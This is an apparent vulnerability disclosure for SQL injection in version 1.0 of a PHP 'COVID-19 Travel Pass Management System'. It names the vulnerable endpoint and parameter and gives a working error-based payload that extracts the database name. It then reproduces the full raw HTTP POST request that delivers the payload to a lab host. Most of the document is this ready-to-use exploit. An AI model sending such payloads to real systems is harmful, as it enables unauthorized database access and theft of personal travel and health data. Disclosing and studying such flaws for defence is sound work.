covid-19-travel-pass-management-system v1.0 has SQL injection

vendors: https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /ctpms/classes/Master.php?f=update_application_status

Vulnerability location:/ctpms/classes/Master.php?f=update_application_status, id

[+] Payload: 1'and/**/extractvalue(1,concat(char(126),database()))and' // Leak place ---> id

Tested on Windows 10, XAMPP

```
POST /ctpms/classes/Master.php?f=update_application_status HTTP/1.1
Host: 192.168.2.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101
Firefox/97.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
```

```
Content-Type: multipart/form-data; boundary=--------------------------
-402416099860803962375691306 9
Content-Length: 335
Origin: http://192.168.2.106
Connection: keep-alive
Referer: http://192.168.2.106/ctpms/admin/?
page=applications/view_application&id=1
Cookie: PHPSESSID=0389fublnj7ggho8q04fuvfaqe

-----------------------------402416099860803962375691306 9
Content-Disposition: form-data; name="id"

1'and/**/extractvalue(1,concat(char(126),database()))and'
-----------------------------402416099860803962375691306 9
Content-Disposition: form-data; name="status"

1
-----------------------------402416099860803962375691306 9--
```